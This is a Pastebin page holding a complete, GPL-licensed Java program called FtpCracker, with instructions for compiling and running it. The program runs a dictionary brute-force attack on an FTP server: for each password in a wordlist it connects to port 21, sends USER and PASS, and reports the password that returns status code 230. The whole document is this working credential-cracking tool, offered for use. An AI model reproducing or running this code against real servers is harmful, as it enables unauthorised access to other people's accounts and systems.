Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; even without the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>.
- Compile with: javac FtpCracker.java
- Usage: java FtpCracker <target> <username> <dictionary file>
- */
- import java.net.*;
- import java.io.*;
- public class FtpCracker {
- public static void main(String[] args) throws IOException {
- // Check the args and return an error if not the required amount
- if (args.length != 3) {
- System.err.println("Usage: java FtpCracker <target> <username> <dictionary_file>");
- System.exit(1);
- }
- // Init (some) args as variables
- File dict = new File(args[2]);
- try (
- // Set up the file input reader
- FileInputStream dict_file_input = new FileInputStream(dict);
- BufferedReader dictionary = new BufferedReader(new InputStreamReader(dict_file_input));
- ) {
- String usernameLine = ("USER " + args[1] + "\r");
- String line = null;
- while ((line = dictionary.readLine()) != null) {
- // Set up the socket, the socket input and output streams
- Socket conSocket = new Socket(args[0], 21);
- PrintWriter socketOut = new PrintWriter(conSocket.getOutputStream(), true);
- BufferedReader socketIn = new BufferedReader(new InputStreamReader(conSocket.getInputStream()));
- String statusCode = null;
- statusCode = socketIn.readLine();
- // Set up the password for testing
- line = line.replace("\n", "");
- String passLine = ("PASS " + line + "\r");
- // Send username to ftp server
- System.out.println("Trying: " + args[1] + " - " + line);
- socketOut.println(usernameLine);
- statusCode = socketIn.readLine();
- // Send pass to ftp server and parse status code
- socketOut.println(passLine);
- statusCode = socketIn.readLine();
- int finalStatus = Integer.parseInt(statusCode.substring(0,3));
- // Send termination to ftp server
- socketOut.println("QUIT\r\n");
- // Receive closing message and close socket
- statusCode = socketIn.readLine();
- conSocket.close();
- // Check the status code for ftp's success code
- if (finalStatus == 230) {
- System.out.println("[***] Password Found: " + line);
- System.exit(1);
- }
- }
- System.out.println("Password was not found\nUse a different dictionary file");
- System.exit(1);
- }
- // Catch thrown errors, if occur
- catch (UnknownHostException e){
- System.err.println(e);
- System.exit(1);
- }
- catch (IOException e){
- System.err.println(e);
- System.exit(1);
- }
- }
- }
Add Comment
Please, Sign In to add comment